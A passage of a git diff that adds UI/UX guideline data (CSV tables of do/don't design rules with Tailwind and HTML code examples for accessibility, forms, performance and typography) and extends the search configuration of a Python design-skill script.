59,Forms,Required Indicators,All,Mark required fields clearly,Use asterisk or (required) text,No indication of required fields,* required indicator,Guess which are required,Medium
|
||||
60,Forms,Password Visibility,All,Let users see password while typing,Toggle to show/hide password,No visibility toggle,Show/hide password button,Password always hidden,Medium
|
||||
61,Forms,Submit Feedback,All,Confirm form submission status,Show loading then success/error state,No feedback after submit,Loading -> Success message,Button click with no response,High
|
||||
62,Forms,Input Affordance,All,Inputs should look interactive,Use distinct input styling,Inputs that look like plain text,Border/background on inputs,Borderless inputs,Medium
|
||||
63,Forms,Mobile Keyboards,Mobile,Show appropriate keyboard for input type,Use inputmode attribute,Default keyboard for all inputs,inputmode='numeric',Text keyboard for numbers,Medium
|
||||
64,Responsive,Mobile First,Web,Design for mobile then enhance for larger,Start with mobile styles then add breakpoints,Desktop-first causing mobile issues,Default mobile + md: lg: xl:,Desktop default + max-width queries,Medium
|
||||
65,Responsive,Breakpoint Testing,Web,Test at all common screen sizes,Test at 320 375 414 768 1024 1440,Only test on your device,Multiple device testing,Single device development,Medium
|
||||
66,Responsive,Touch Friendly,Web,Mobile layouts need touch-sized targets,Increase touch targets on mobile,Same tiny buttons on mobile,Larger buttons on mobile,Desktop-sized targets on mobile,High
|
||||
67,Responsive,Readable Font Size,All,Text must be readable on all devices,Minimum 16px body text on mobile,Tiny text on mobile,text-base or larger,text-xs for body text,High
|
||||
68,Responsive,Viewport Meta,Web,Set viewport for mobile devices,Use width=device-width initial-scale=1,Missing or incorrect viewport,<meta name='viewport'...>,No viewport meta tag,High
|
||||
69,Responsive,Horizontal Scroll,Web,Avoid horizontal scrolling,Ensure content fits viewport width,Content wider than viewport,max-w-full overflow-x-hidden,Horizontal scrollbar on mobile,High
|
||||
70,Responsive,Image Scaling,Web,Images should scale with container,Use max-width: 100% on images,Fixed width images overflow,max-w-full h-auto,width='800' fixed,Medium
|
||||
71,Responsive,Table Handling,Web,Tables can overflow on mobile,Use horizontal scroll or card layout,Wide tables breaking layout,overflow-x-auto wrapper,Table overflows viewport,Medium
|
||||
72,Typography,Line Height,All,Adequate line height improves readability,Use 1.5-1.75 for body text,Cramped or excessive line height,leading-relaxed (1.625),leading-none (1),Medium
|
||||
73,Typography,Line Length,Web,Long lines are hard to read,Limit to 65-75 characters per line,Full-width text on large screens,max-w-prose,Full viewport width text,Medium
|
||||
74,Typography,Font Size Scale,All,Consistent type hierarchy aids scanning,Use consistent modular scale,Random font sizes,Type scale (12 14 16 18 24 32),Arbitrary sizes,Medium
|
||||
75,Typography,Font Loading,Web,Fonts should load without layout shift,Reserve space with fallback font,Layout shift when fonts load,font-display: swap + similar fallback,No fallback font,Medium
|
||||
76,Typography,Contrast Readability,All,Body text needs good contrast,Use darker text on light backgrounds,Gray text on gray background,text-gray-900 on white,text-gray-400 on gray-100,High
|
||||
77,Typography,Heading Clarity,All,Headings should stand out from body,Clear size/weight difference,Headings similar to body text,Bold + larger size,Same size as body,Medium
|
||||
78,Feedback,Loading Indicators,All,Show system status during waits,Show spinner/skeleton for operations > 300ms,No feedback during loading,Skeleton or spinner,Frozen UI,High
|
||||
79,Feedback,Empty States,All,Guide users when no content exists,Show helpful message and action,Blank empty screens,No items yet. Create one!,Empty white space,Medium
|
||||
80,Feedback,Error Recovery,All,Help users recover from errors,Provide clear next steps,Error without recovery path,Try again button + help link,Error message only,Medium
|
||||
81,Feedback,Progress Indicators,All,Show progress for multi-step processes,Step indicators or progress bar,No indication of progress,Step 2 of 4 indicator,No step information,Medium
|
||||
82,Feedback,Toast Notifications,All,Transient messages for non-critical info,Auto-dismiss after 3-5 seconds,Toasts that never disappear,Auto-dismiss toast,Persistent toast,Medium
|
||||
83,Feedback,Confirmation Messages,All,Confirm successful actions,Brief success message,Silent success,Saved successfully toast,No confirmation,Medium
|
||||
84,Content,Truncation,All,Handle long content gracefully,Truncate with ellipsis and expand option,Overflow or broken layout,line-clamp-2 with expand,Overflow or cut off,Medium
|
||||
85,Content,Date Formatting,All,Use locale-appropriate date formats,Use relative or locale-aware dates,Ambiguous date formats,2 hours ago or locale format,01/02/03,Low
|
||||
86,Content,Number Formatting,All,Format large numbers for readability,Use thousand separators or abbreviations,Long unformatted numbers,"1.2K or 1,234",1234567,Low
|
||||
87,Content,Placeholder Content,All,Show realistic placeholders during dev,Use realistic sample data,Lorem ipsum everywhere,Real sample content,Lorem ipsum,Low
|
||||
88,Onboarding,User Freedom,All,Users should be able to skip tutorials,Provide Skip and Back buttons,Force linear unskippable tour,Skip Tutorial button,Locked overlay until finished,Medium
|
||||
89,Search,Autocomplete,Web,Help users find results faster,Show predictions as user types,Require full type and enter,Debounced fetch + dropdown,No suggestions,Medium
|
||||
90,Search,No Results,Web,Dead ends frustrate users,Show 'No results' with suggestions,Blank screen or '0 results',Try searching for X instead,No results found.,Medium
|
||||
91,Data Entry,Bulk Actions,Web,Editing one by one is tedious,Allow multi-select and bulk edit,Single row actions only,Checkbox column + Action bar,Repeated actions per row,Low
|
||||
92,AI Interaction,Disclaimer,All,Users need to know they talk to AI,Clearly label AI generated content,Present AI as human,AI Assistant label,Fake human name without label,High
|
||||
93,AI Interaction,Streaming,All,Waiting for full text is slow,Stream text response token by token,Show loading spinner for 10s+,Typewriter effect,Spinner until 100% complete,Medium
|
||||
94,Spatial UI,Gaze Hover,VisionOS,Elements should respond to eye tracking before pinch,Scale/highlight element on look,Static element until pinch,hoverEffect(),onTap only,High
|
||||
95,Spatial UI,Depth Layering,VisionOS,UI needs Z-depth to separate content from environment,Use glass material and z-offset,Flat opaque panels blocking view,.glassBackgroundEffect(),bg-white,Medium
|
||||
96,Sustainability,Auto-Play Video,Web,Video consumes massive data and energy,Click-to-play or pause when off-screen,Auto-play high-res video loops,playsInline muted preload='none',autoplay loop,Medium
|
||||
97,Sustainability,Asset Weight,Web,Heavy 3D/Image assets increase carbon footprint,Compress and lazy load 3D models,Load 50MB textures,Draco compression,Raw .obj files,Medium
|
||||
98,AI Interaction,Feedback Loop,All,AI needs user feedback to improve,Thumps up/down or 'Regenerate',Static output only,Feedback component,Read-only text,Low
|
||||
No,Category,Issue,Platform,Description,Do,Don't,Code Example Good,Code Example Bad,Severity
|
||||
1,Navigation,Smooth Scroll,Web,Anchor links should scroll smoothly to target section,Use scroll-behavior: smooth on html element,Jump directly without transition,html { scroll-behavior: smooth; },<a href='#section'> without CSS,High
|
||||
2,Navigation,Sticky Navigation,Web,Fixed nav should not obscure content,Add padding-top to body equal to nav height,Let nav overlap first section content,pt-20 (if nav is h-20),No padding compensation,Medium
|
||||
3,Navigation,Active State,All,Current page/section should be visually indicated,Highlight active nav item with color/underline,No visual feedback on current location,text-primary border-b-2,All links same style,Medium
|
||||
4,Navigation,Back Button,Mobile,Users expect back to work predictably,Preserve navigation history properly,Break browser/app back button behavior,history.pushState(),location.replace(),High
|
||||
5,Navigation,Deep Linking,All,URLs should reflect current state for sharing,Update URL on state/view changes,Static URLs for dynamic content,Use query params or hash,Single URL for all states,Medium
|
||||
6,Navigation,Breadcrumbs,Web,Show user location in site hierarchy,Use for sites with 3+ levels of depth,Use for flat single-level sites,Home > Category > Product,Only on deep nested pages,Low
|
||||
7,Animation,Excessive Motion,All,Too many animations cause distraction and motion sickness,Animate 1-2 key elements per view maximum,Animate everything that moves,Single hero animation,animate-bounce on 5+ elements,High
|
||||
8,Animation,Duration Timing,All,Animations should feel responsive not sluggish,Use 150-300ms for micro-interactions,Use animations longer than 500ms for UI,transition-all duration-200,duration-1000,Medium
|
||||
9,Animation,Reduced Motion,All,Respect user's motion preferences,Check prefers-reduced-motion media query,Ignore accessibility motion settings,@media (prefers-reduced-motion: reduce),No motion query check,High
|
||||
10,Animation,Loading States,All,Show feedback during async operations,Use skeleton screens or spinners,Leave UI frozen with no feedback,animate-pulse skeleton,Blank screen while loading,High
|
||||
11,Animation,Hover vs Tap,All,Hover effects don't work on touch devices,Use click/tap for primary interactions,Rely only on hover for important actions,onClick handler,onMouseEnter only,High
|
||||
12,Animation,Continuous Animation,All,Infinite animations are distracting,Use for loading indicators only,Use for decorative elements,animate-spin on loader,animate-bounce on icons,Medium
|
||||
13,Animation,Transform Performance,Web,Some CSS properties trigger expensive repaints,Use transform and opacity for animations,Animate width/height/top/left properties,transform: translateY(),top: 10px animation,Medium
|
||||
14,Animation,Easing Functions,All,Linear motion feels robotic,Use ease-out for entering ease-in for exiting,Use linear for UI transitions,ease-out,linear,Low
|
||||
15,Layout,Z-Index Management,Web,Stacking context conflicts cause hidden elements,Define z-index scale system (10 20 30 50),Use arbitrary large z-index values,z-10 z-20 z-50,z-[9999],High
|
||||
16,Layout,Overflow Hidden,Web,Hidden overflow can clip important content,Test all content fits within containers,Blindly apply overflow-hidden,overflow-auto with scroll,overflow-hidden truncating content,Medium
|
||||
17,Layout,Fixed Positioning,Web,Fixed elements can overlap or be inaccessible,Account for safe areas and other fixed elements,Stack multiple fixed elements carelessly,Fixed nav + fixed bottom with gap,Multiple overlapping fixed elements,Medium
|
||||
18,Layout,Stacking Context,Web,New stacking contexts reset z-index,Understand what creates new stacking context,Expect z-index to work across contexts,Parent with z-index isolates children,z-index: 9999 not working,Medium
|
||||
19,Layout,Content Jumping,Web,Layout shift when content loads is jarring,Reserve space for async content,Let images/content push layout around,aspect-ratio or fixed height,No dimensions on images,High
|
||||
20,Layout,Viewport Units,Web,100vh can be problematic on mobile browsers,Use dvh or account for mobile browser chrome,Use 100vh for full-screen mobile layouts,min-h-dvh or min-h-screen,h-screen on mobile,Medium
|
||||
21,Layout,Container Width,Web,Content too wide is hard to read,Limit max-width for text content (65-75ch),Let text span full viewport width,max-w-prose or max-w-3xl,Full width paragraphs,Medium
|
||||
22,Touch,Touch Target Size,Mobile,Small buttons are hard to tap accurately,Minimum 44x44px touch targets,Tiny clickable areas,min-h-[44px] min-w-[44px],w-6 h-6 buttons,High
|
||||
23,Touch,Touch Spacing,Mobile,Adjacent touch targets need adequate spacing,Minimum 8px gap between touch targets,Tightly packed clickable elements,gap-2 between buttons,gap-0 or gap-1,Medium
|
||||
24,Touch,Gesture Conflicts,Mobile,Custom gestures can conflict with system,Avoid horizontal swipe on main content,Override system gestures,Vertical scroll primary,Horizontal swipe carousel only,Medium
|
||||
25,Touch,Tap Delay,Mobile,300ms tap delay feels laggy,Use touch-action CSS or fastclick,Default mobile tap handling,touch-action: manipulation,No touch optimization,Medium
|
||||
26,Touch,Pull to Refresh,Mobile,Accidental refresh is frustrating,Disable where not needed,Enable by default everywhere,overscroll-behavior: contain,Default overscroll,Low
|
||||
27,Touch,Haptic Feedback,Mobile,Tactile feedback improves interaction feel,Use for confirmations and important actions,Overuse vibration feedback,navigator.vibrate(10),Vibrate on every tap,Low
|
||||
28,Interaction,Focus States,All,Keyboard users need visible focus indicators,Use visible focus rings on interactive elements,Remove focus outline without replacement,focus:ring-2 focus:ring-blue-500,outline-none without alternative,High
|
||||
29,Interaction,Hover States,Web,Visual feedback on interactive elements,Change cursor and add subtle visual change,No hover feedback on clickable elements,hover:bg-gray-100 cursor-pointer,No hover style,Medium
|
||||
30,Interaction,Active States,All,Show immediate feedback on press/click,Add pressed/active state visual change,No feedback during interaction,active:scale-95,No active state,Medium
|
||||
31,Interaction,Disabled States,All,Clearly indicate non-interactive elements,Reduce opacity and change cursor,Confuse disabled with normal state,opacity-50 cursor-not-allowed,Same style as enabled,Medium
|
||||
32,Interaction,Loading Buttons,All,Prevent double submission during async actions,Disable button and show loading state,Allow multiple clicks during processing,disabled={loading} spinner,Button clickable while loading,High
|
||||
33,Interaction,Error Feedback,All,Users need to know when something fails,Show clear error messages near problem,Silent failures with no feedback,Red border + error message,No indication of error,High
|
||||
34,Interaction,Success Feedback,All,Confirm successful actions to users,Show success message or visual change,No confirmation of completed action,Toast notification or checkmark,Action completes silently,Medium
|
||||
35,Interaction,Confirmation Dialogs,All,Prevent accidental destructive actions,Confirm before delete/irreversible actions,Delete without confirmation,Are you sure modal,Direct delete on click,High
|
||||
36,Accessibility,Color Contrast,All,Text must be readable against background,Minimum 4.5:1 ratio for normal text,Low contrast text,#333 on white (7:1),#999 on white (2.8:1),High
|
||||
37,Accessibility,Color Only,All,Don't convey information by color alone,Use icons/text in addition to color,Red/green only for error/success,Red text + error icon,Red border only for error,High
|
||||
38,Accessibility,Alt Text,All,Images need text alternatives,Descriptive alt text for meaningful images,Empty or missing alt attributes,alt='Dog playing in park',alt='' for content images,High
|
||||
39,Accessibility,Heading Hierarchy,Web,Screen readers use headings for navigation,Use sequential heading levels h1-h6,Skip heading levels or misuse for styling,h1 then h2 then h3,h1 then h4,Medium
|
||||
40,Accessibility,ARIA Labels,All,Interactive elements need accessible names,Add aria-label for icon-only buttons,Icon buttons without labels,aria-label='Close menu',<button><Icon/></button>,High
|
||||
41,Accessibility,Keyboard Navigation,Web,All functionality accessible via keyboard,Tab order matches visual order,Keyboard traps or illogical tab order,tabIndex for custom order,Unreachable elements,High
|
||||
42,Accessibility,Screen Reader,All,Content should make sense when read aloud,Use semantic HTML and ARIA properly,Div soup with no semantics,<nav> <main> <article>,<div> for everything,Medium
|
||||
43,Accessibility,Form Labels,All,Inputs must have associated labels,Use label with for attribute or wrap input,Placeholder-only inputs,<label for='email'>,placeholder='Email' only,High
|
||||
44,Accessibility,Error Messages,All,Error messages must be announced,Use aria-live or role=alert for errors,Visual-only error indication,role='alert',Red border only,High
|
||||
45,Accessibility,Skip Links,Web,Allow keyboard users to skip navigation,Provide skip to main content link,No skip link on nav-heavy pages,Skip to main content link,100 tabs to reach content,Medium
|
||||
46,Performance,Image Optimization,All,Large images slow page load,Use appropriate size and format (WebP),Unoptimized full-size images,srcset with multiple sizes,4000px image for 400px display,High
|
||||
47,Performance,Lazy Loading,All,Load content as needed,Lazy load below-fold images and content,Load everything upfront,loading='lazy',All images eager load,Medium
|
||||
48,Performance,Code Splitting,Web,Large bundles slow initial load,Split code by route/feature,Single large bundle,dynamic import(),All code in main bundle,Medium
|
||||
49,Performance,Caching,Web,Repeat visits should be fast,Set appropriate cache headers,No caching strategy,Cache-Control headers,Every request hits server,Medium
|
||||
50,Performance,Font Loading,Web,Web fonts can block rendering,Use font-display swap or optional,Invisible text during font load,font-display: swap,FOIT (Flash of Invisible Text),Medium
|
||||
51,Performance,Third Party Scripts,Web,External scripts can block rendering,Load non-critical scripts async/defer,Synchronous third-party scripts,async or defer attribute,<script src='...'> in head,Medium
|
||||
52,Performance,Bundle Size,Web,Large JavaScript slows interaction,Monitor and minimize bundle size,Ignore bundle size growth,Bundle analyzer,No size monitoring,Medium
|
||||
53,Performance,Render Blocking,Web,CSS/JS can block first paint,Inline critical CSS defer non-critical,Large blocking CSS files,Critical CSS inline,All CSS in head,Medium
|
||||
54,Forms,Input Labels,All,Every input needs a visible label,Always show label above or beside input,Placeholder as only label,<label>Email</label><input>,placeholder='Email' only,High
|
||||
55,Forms,Error Placement,All,Errors should appear near the problem,Show error below related input,Single error message at top of form,Error under each field,All errors at form top,Medium
|
||||
56,Forms,Inline Validation,All,Validate as user types or on blur,Validate on blur for most fields,Validate only on submit,onBlur validation,Submit-only validation,Medium
|
||||
57,Forms,Input Types,All,Use appropriate input types,Use email tel number url etc,Text input for everything,type='email',type='text' for email,Medium
|
||||
58,Forms,Autofill Support,Web,Help browsers autofill correctly,Use autocomplete attribute properly,Block or ignore autofill,autocomplete='email',autocomplete='off' everywhere,Medium
|
||||
59,Forms,Required Indicators,All,Mark required fields clearly,Use asterisk or (required) text,No indication of required fields,* required indicator,Guess which are required,Medium
|
||||
60,Forms,Password Visibility,All,Let users see password while typing,Toggle to show/hide password,No visibility toggle,Show/hide password button,Password always hidden,Medium
|
||||
61,Forms,Submit Feedback,All,Confirm form submission status,Show loading then success/error state,No feedback after submit,Loading -> Success message,Button click with no response,High
|
||||
62,Forms,Input Affordance,All,Inputs should look interactive,Use distinct input styling,Inputs that look like plain text,Border/background on inputs,Borderless inputs,Medium
|
||||
63,Forms,Mobile Keyboards,Mobile,Show appropriate keyboard for input type,Use inputmode attribute,Default keyboard for all inputs,inputmode='numeric',Text keyboard for numbers,Medium
|
||||
64,Responsive,Mobile First,Web,Design for mobile then enhance for larger,Start with mobile styles then add breakpoints,Desktop-first causing mobile issues,Default mobile + md: lg: xl:,Desktop default + max-width queries,Medium
|
||||
65,Responsive,Breakpoint Testing,Web,Test at all common screen sizes,Test at 320 375 414 768 1024 1440,Only test on your device,Multiple device testing,Single device development,Medium
|
||||
66,Responsive,Touch Friendly,Web,Mobile layouts need touch-sized targets,Increase touch targets on mobile,Same tiny buttons on mobile,Larger buttons on mobile,Desktop-sized targets on mobile,High
|
||||
67,Responsive,Readable Font Size,All,Text must be readable on all devices,Minimum 16px body text on mobile,Tiny text on mobile,text-base or larger,text-xs for body text,High
|
||||
68,Responsive,Viewport Meta,Web,Set viewport for mobile devices,Use width=device-width initial-scale=1,Missing or incorrect viewport,<meta name='viewport'...>,No viewport meta tag,High
|
||||
69,Responsive,Horizontal Scroll,Web,Avoid horizontal scrolling,Ensure content fits viewport width,Content wider than viewport,max-w-full overflow-x-hidden,Horizontal scrollbar on mobile,High
|
||||
70,Responsive,Image Scaling,Web,Images should scale with container,Use max-width: 100% on images,Fixed width images overflow,max-w-full h-auto,width='800' fixed,Medium
|
||||
71,Responsive,Table Handling,Web,Tables can overflow on mobile,Use horizontal scroll or card layout,Wide tables breaking layout,overflow-x-auto wrapper,Table overflows viewport,Medium
|
||||
72,Typography,Line Height,All,Adequate line height improves readability,Use 1.5-1.75 for body text,Cramped or excessive line height,leading-relaxed (1.625),leading-none (1),Medium
|
||||
73,Typography,Line Length,Web,Long lines are hard to read,Limit to 65-75 characters per line,Full-width text on large screens,max-w-prose,Full viewport width text,Medium
|
||||
74,Typography,Font Size Scale,All,Consistent type hierarchy aids scanning,Use consistent modular scale,Random font sizes,Type scale (12 14 16 18 24 32),Arbitrary sizes,Medium
|
||||
75,Typography,Font Loading,Web,Fonts should load without layout shift,Reserve space with fallback font,Layout shift when fonts load,font-display: swap + similar fallback,No fallback font,Medium
|
||||
76,Typography,Contrast Readability,All,Body text needs good contrast,Use darker text on light backgrounds,Gray text on gray background,text-gray-900 on white,text-gray-400 on gray-100,High
|
||||
77,Typography,Heading Clarity,All,Headings should stand out from body,Clear size/weight difference,Headings similar to body text,Bold + larger size,Same size as body,Medium
|
||||
78,Feedback,Loading Indicators,All,Show system status during waits,Show spinner/skeleton for operations > 300ms,No feedback during loading,Skeleton or spinner,Frozen UI,High
|
||||
79,Feedback,Empty States,All,Guide users when no content exists,Show helpful message and action,Blank empty screens,No items yet. Create one!,Empty white space,Medium
|
||||
80,Feedback,Error Recovery,All,Help users recover from errors,Provide clear next steps,Error without recovery path,Try again button + help link,Error message only,Medium
|
||||
81,Feedback,Progress Indicators,All,Show progress for multi-step processes,Step indicators or progress bar,No indication of progress,Step 2 of 4 indicator,No step information,Medium
|
||||
82,Feedback,Toast Notifications,All,Transient messages for non-critical info,Auto-dismiss after 3-5 seconds,Toasts that never disappear,Auto-dismiss toast,Persistent toast,Medium
|
||||
83,Feedback,Confirmation Messages,All,Confirm successful actions,Brief success message,Silent success,Saved successfully toast,No confirmation,Medium
|
||||
84,Content,Truncation,All,Handle long content gracefully,Truncate with ellipsis and expand option,Overflow or broken layout,line-clamp-2 with expand,Overflow or cut off,Medium
|
||||
85,Content,Date Formatting,All,Use locale-appropriate date formats,Use relative or locale-aware dates,Ambiguous date formats,2 hours ago or locale format,01/02/03,Low
|
||||
86,Content,Number Formatting,All,Format large numbers for readability,Use thousand separators or abbreviations,Long unformatted numbers,"1.2K or 1,234",1234567,Low
|
||||
87,Content,Placeholder Content,All,Show realistic placeholders during dev,Use realistic sample data,Lorem ipsum everywhere,Real sample content,Lorem ipsum,Low
|
||||
88,Onboarding,User Freedom,All,Users should be able to skip tutorials,Provide Skip and Back buttons,Force linear unskippable tour,Skip Tutorial button,Locked overlay until finished,Medium
|
||||
89,Search,Autocomplete,Web,Help users find results faster,Show predictions as user types,Require full type and enter,Debounced fetch + dropdown,No suggestions,Medium
|
||||
90,Search,No Results,Web,Dead ends frustrate users,Show 'No results' with suggestions,Blank screen or '0 results',Try searching for X instead,No results found.,Medium
|
||||
91,Data Entry,Bulk Actions,Web,Editing one by one is tedious,Allow multi-select and bulk edit,Single row actions only,Checkbox column + Action bar,Repeated actions per row,Low
|
||||
92,AI Interaction,Disclaimer,All,Users need to know they talk to AI,Clearly label AI generated content,Present AI as human,AI Assistant label,Fake human name without label,High
|
||||
93,AI Interaction,Streaming,All,Waiting for full text is slow,Stream text response token by token,Show loading spinner for 10s+,Typewriter effect,Spinner until 100% complete,Medium
|
||||
94,Spatial UI,Gaze Hover,VisionOS,Elements should respond to eye tracking before pinch,Scale/highlight element on look,Static element until pinch,hoverEffect(),onTap only,High
|
||||
95,Spatial UI,Depth Layering,VisionOS,UI needs Z-depth to separate content from environment,Use glass material and z-offset,Flat opaque panels blocking view,.glassBackgroundEffect(),bg-white,Medium
|
||||
96,Sustainability,Auto-Play Video,Web,Video consumes massive data and energy,Click-to-play or pause when off-screen,Auto-play high-res video loops,playsInline muted preload='none',autoplay loop,Medium
|
||||
97,Sustainability,Asset Weight,Web,Heavy 3D/Image assets increase carbon footprint,Compress and lazy load 3D models,Load 50MB textures,Draco compression,Raw .obj files,Medium
|
||||
98,AI Interaction,Feedback Loop,All,AI needs user feedback to improve,Thumps up/down or 'Regenerate',Static output only,Feedback component,Read-only text,Low
|
||||
99,Accessibility,Motion Sensitivity,All,Parallax/Scroll-jacking causes nausea,Respect prefers-reduced-motion,Force scroll effects,@media (prefers-reduced-motion),ScrollTrigger.create(),High
|
||||
|
31
skills/ui-ux-pro-max/data/web-interface.csv
Normal file
31
skills/ui-ux-pro-max/data/web-interface.csv
Normal file
@@ -0,0 +1,31 @@
|
||||
No,Category,Issue,Keywords,Platform,Description,Do,Don't,Code Example Good,Code Example Bad,Severity
|
||||
1,Accessibility,Icon Button Labels,icon button aria-label,Web,Icon-only buttons must have accessible names,Add aria-label to icon buttons,Icon button without label,"<button aria-label='Close'><XIcon /></button>","<button><XIcon /></button>",Critical
|
||||
2,Accessibility,Form Control Labels,form input label aria,Web,All form controls need labels or aria-label,Use label element or aria-label,Input without accessible name,"<label for='email'>Email</label><input id='email' />","<input placeholder='Email' />",Critical
|
||||
3,Accessibility,Keyboard Handlers,keyboard onclick onkeydown,Web,Interactive elements must support keyboard interaction,Add onKeyDown alongside onClick,Click-only interaction,"<div onClick={fn} onKeyDown={fn} tabIndex={0}>","<div onClick={fn}>",High
|
||||
4,Accessibility,Semantic HTML,semantic button a label,Web,Use semantic HTML before ARIA attributes,Use button/a/label elements,Div with role attribute,"<button onClick={fn}>Submit</button>","<div role='button' onClick={fn}>Submit</div>",High
|
||||
5,Accessibility,Aria Live,aria-live polite async,Web,Async updates need aria-live for screen readers,Add aria-live='polite' for dynamic content,Silent async updates,"<div aria-live='polite'>{status}</div>","<div>{status}</div> // no announcement",Medium
|
||||
6,Accessibility,Decorative Icons,aria-hidden decorative icon,Web,Decorative icons should be hidden from screen readers,Add aria-hidden='true' to decorative icons,Decorative icon announced,"<Icon aria-hidden='true' />","<Icon /> // announced as 'image'",Medium
|
||||
7,Focus,Visible Focus States,focus-visible outline ring,Web,All interactive elements need visible focus states,Use :focus-visible with ring/outline,No focus indication,"focus-visible:ring-2 focus-visible:ring-blue-500","outline-none // no replacement",Critical
|
||||
8,Focus,Never Remove Outline,outline-none focus replacement,Web,Never remove outline without providing replacement,Replace outline with visible alternative,Remove outline completely,"focus:outline-none focus:ring-2","focus:outline-none // nothing else",Critical
|
||||
9,Focus,Checkbox Radio Hit Target,checkbox radio label target,Web,Checkbox/radio must share hit target with label,Wrap input and label together,Separate tiny checkbox,"<label class='flex gap-2'><input type='checkbox' /><span>Option</span></label>","<input type='checkbox' id='x' /><label for='x'>Option</label>",Medium
|
||||
10,Forms,Autocomplete Attribute,autocomplete input form,Web,Inputs need autocomplete attribute for autofill,Add appropriate autocomplete value,Missing autocomplete,"<input autocomplete='email' type='email' />","<input type='email' />",High
|
||||
11,Forms,Semantic Input Types,input type email tel url,Web,Use semantic input type attributes,Use email/tel/url/number types,text type for everything,"<input type='email' />","<input type='text' /> // for email",Medium
|
||||
12,Forms,Never Block Paste,paste onpaste password,Web,Never prevent paste functionality,Allow paste on all inputs,Block paste on password/code,"<input type='password' />","<input onPaste={e => e.preventDefault()} />",High
|
||||
13,Forms,Spellcheck Disable,spellcheck email code,Web,Disable spellcheck on emails and codes,Set spellcheck='false' on codes,Spellcheck on technical input,"<input spellCheck='false' type='email' />","<input type='email' /> // red squiggles",Low
|
||||
14,Forms,Submit Button Enabled,submit button disabled loading,Web,Keep submit enabled and show spinner during requests,Show loading spinner keep enabled,Disable button during submit,"<button>{loading ? <Spinner /> : 'Submit'}</button>","<button disabled={loading}>Submit</button>",Medium
|
||||
15,Forms,Inline Errors,error message inline focus,Web,Show error messages inline near the problem field,Inline error with focus on first error,Single error at top,"<input /><span class='text-red-500'>{error}</span>","<div class='error'>{allErrors}</div> // at top",High
|
||||
16,Performance,Virtualize Lists,virtualize list 50 items,Web,Virtualize lists exceeding 50 items,Use virtual list for large datasets,Render all items,"<VirtualList items={items} />","items.map(item => <Item />)",High
|
||||
17,Performance,Avoid Layout Reads,layout read render getboundingclientrect,Web,Avoid layout reads during render phase,Read layout in effects or callbacks,getBoundingClientRect in render,"useEffect(() => { el.getBoundingClientRect() })","const rect = el.getBoundingClientRect() // in render",Medium
|
||||
18,Performance,Batch DOM Operations,batch dom write read,Web,Group DOM operations to minimize reflows,Batch writes then reads,Interleave reads and writes,"writes.forEach(w => w()); reads.forEach(r => r())","write(); read(); write(); read(); // thrashing",Medium
|
||||
19,Performance,Preconnect CDN,preconnect link cdn,Web,Add preconnect links for CDN domains,Preconnect to known domains,"<link rel='preconnect' href='https://cdn.example.com' />","// no preconnect hint",Low
|
||||
20,Performance,Lazy Load Images,lazy loading image below-fold,Web,Lazy-load images below the fold,Use loading='lazy' for below-fold images,Load all images eagerly,"<img loading='lazy' src='...' />","<img src='...' /> // above fold only",Medium
|
||||
21,State,URL Reflects State,url state query params,Web,URL should reflect current UI state,Sync filters/tabs/pagination to URL,State only in memory,"?tab=settings&page=2","useState only // lost on refresh",High
|
||||
22,State,Deep Linking,deep link stateful component,Web,Stateful components should support deep-linking,Enable sharing current view via URL,No shareable state,"router.push({ query: { ...filters } })","setFilters(f) // not in URL",Medium
|
||||
23,State,Confirm Destructive Actions,confirm destructive delete modal,Web,Destructive actions require confirmation,Show confirmation dialog before delete,Delete without confirmation,"if (confirm('Delete?')) delete()","onClick={delete} // no confirmation",High
|
||||
24,Typography,Proper Unicode,unicode ellipsis quotes,Web,Use proper Unicode characters,Use ... curly quotes proper dashes,ASCII approximations,"'Hello...' with proper ellipsis","'Hello...' with three dots",Low
|
||||
25,Typography,Text Overflow,truncate line-clamp overflow,Web,Handle text overflow properly,Use truncate/line-clamp/break-words,Text overflows container,"<p class='truncate'>Long text...</p>","<p>Long text...</p> // overflows",Medium
|
||||
26,Typography,Non-Breaking Spaces,nbsp unit brand,Web,Use non-breaking spaces for units and brand names,Use between number and unit,"10 kg or Next.js 14","10 kg // may wrap",Low
|
||||
27,Anti-Pattern,No Zoom Disable,viewport zoom disable,Web,Never disable zoom in viewport meta,Allow user zoom,"<meta name='viewport' content='width=device-width'>","<meta name='viewport' content='maximum-scale=1'>",Critical
|
||||
28,Anti-Pattern,No Transition All,transition all specific,Web,Avoid transition: all - specify properties,Transition specific properties,transition: all,"transition-colors duration-200","transition-all duration-200",Medium
|
||||
29,Anti-Pattern,Outline Replacement,outline-none ring focus,Web,Never use outline-none without replacement,Provide visible focus replacement,Remove outline with nothing,"focus:outline-none focus:ring-2 focus:ring-blue-500","focus:outline-none // alone",Critical
|
||||
30,Anti-Pattern,No Hardcoded Dates,date format intl locale,Web,Use Intl for date/number formatting,Use Intl.DateTimeFormat,Hardcoded date format,"new Intl.DateTimeFormat('en').format(date)","date.toLocaleDateString() // or manual format",Medium
|
||||
|
BIN
skills/ui-ux-pro-max/scripts/__pycache__/core.cpython-314.pyc
Normal file
BIN
skills/ui-ux-pro-max/scripts/__pycache__/core.cpython-314.pyc
Normal file
Binary file not shown.
Binary file not shown.
@@ -54,6 +54,21 @@ CSV_CONFIG = {
|
||||
"file": "typography.csv",
|
||||
"search_cols": ["Font Pairing Name", "Category", "Mood/Style Keywords", "Best For", "Heading Font", "Body Font"],
|
||||
"output_cols": ["Font Pairing Name", "Category", "Heading Font", "Body Font", "Mood/Style Keywords", "Best For", "Google Fonts URL", "CSS Import", "Tailwind Config", "Notes"]
|
||||
},
|
||||
"icons": {
|
||||
"file": "icons.csv",
|
||||
"search_cols": ["Category", "Icon Name", "Keywords", "Best For"],
|
||||
"output_cols": ["Category", "Icon Name", "Keywords", "Library", "Import Code", "Usage", "Best For", "Style"]
|
||||
},
|
||||
"react": {
|
||||
"file": "react-performance.csv",
|
||||
"search_cols": ["Category", "Issue", "Keywords", "Description"],
|
||||
"output_cols": ["Category", "Issue", "Platform", "Description", "Do", "Don't", "Code Example Good", "Code Example Bad", "Severity"]
|
||||
},
|
||||
"web": {
|
||||
"file": "web-interface.csv",
|
||||
"search_cols": ["Category", "Issue", "Keywords", "Description"],
|
||||
"output_cols": ["Category", "Issue", "Platform", "Description", "Do", "Don't", "Code Example Good", "Code Example Bad", "Severity"]
|
||||
}
|
||||
}
|
||||
|
||||
@@ -67,7 +82,8 @@ STACK_CONFIG = {
|
||||
"svelte": {"file": "stacks/svelte.csv"},
|
||||
"swiftui": {"file": "stacks/swiftui.csv"},
|
||||
"react-native": {"file": "stacks/react-native.csv"},
|
||||
